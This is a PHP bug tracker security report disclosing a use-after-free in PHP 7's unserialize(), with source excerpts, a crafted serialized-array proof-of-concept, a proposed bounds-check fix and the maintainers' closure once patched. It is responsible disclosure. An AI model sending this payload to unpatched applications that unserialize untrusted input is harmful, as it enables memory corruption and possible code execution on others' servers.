php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #74614 Use-after-free in PHP7's unserialize()
Submitted: 2017-05-18 15:22 UTC Modified: 2017-07-04 19:33 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 7.0.20 OS: *
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2017-05-18 15:22 UTC] taoguangchen at icloud dot com
Description:
------------
Use-after-free in PHP7's unserialize()


```
"a:" uiv ":" "{" {
	zend_long elements = parse_iv(start + 2);
	/* use iv() not uiv() in order to check data range */
	*p = YYCURSOR;
    if (!var_hash) return 0;

	if (elements < 0) {
		return 0;
	}

	array_init_size(rval, elements);
```

The elements is set to zend_long in during array deserialization.

```
ZEND_API int _array_init(zval *arg, uint32_t size ZEND_FILE_LINE_DC) /* {{{ */
{
	ZVAL_NEW_ARR(arg);
	_zend_hash_init(Z_ARRVAL_P(arg), size, ZVAL_PTR_DTOR, 0 ZEND_FILE_LINE_RELAY_CC);
	return SUCCESS;
}
```

But size is set to uint32_t in array, and the default minimum size is 8.
So there is zend_long/uint32_t confusion issue.

```
3020000000000000000000000000000001 ===> 3127371069258727425 ===> 1
```

So an attacker can initializing an array with 8 sizes via the following code.

```
a:3020000000000000000000000000000001:{
```

However the attacker can add more elements into the array, then the array will be resized.
This means the attacker can free some elements's memory in the array then references to that already freed memory via R: or r:

PoC:
```
<?php

unserialize('a:3020000000000000000000000000000001:{i:0;a:0:{}i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;R:2;}');
```


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-05-18 15:27 UTC] taoguangchen at icloud dot com
-: taoguangche at icloud dot com +: taoguangchen at icloud dot com
 [2017-05-18 15:27 UTC] taoguangchen at icloud dot com
oh, just change my correct email.
 [2017-05-20 07:15 UTC] taoguangchen at icloud dot com
Of course the issue can also be triggered in during object deserialization.
 [2017-05-21 14:13 UTC] taoguangchen at icloud dot com
Fix:
```
static zend_always_inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, zend_long elements, int objprops)
{
+	if (elements > (ht)->nTableSize) {
+		return 0;
+	}
	
	while (elements-- > 0) {
```
 [2017-06-08 22:41 UTC] taoguangchen at icloud dot com
-PHP Version: 7.0.19 +PHP Version: 7.0.20
 [2017-06-08 22:41 UTC] taoguangchen at icloud dot com
Still unfixed.
 [2017-06-25 19:03 UTC] nikic@php.net
This is basically the same as bug #74101. Patch attached there: 2a3deba4e2f1e2f912a36f904160ca51
 [2017-07-04 19:33 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2017-07-04 19:33 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Mar 28 11:01:27 2024 UTC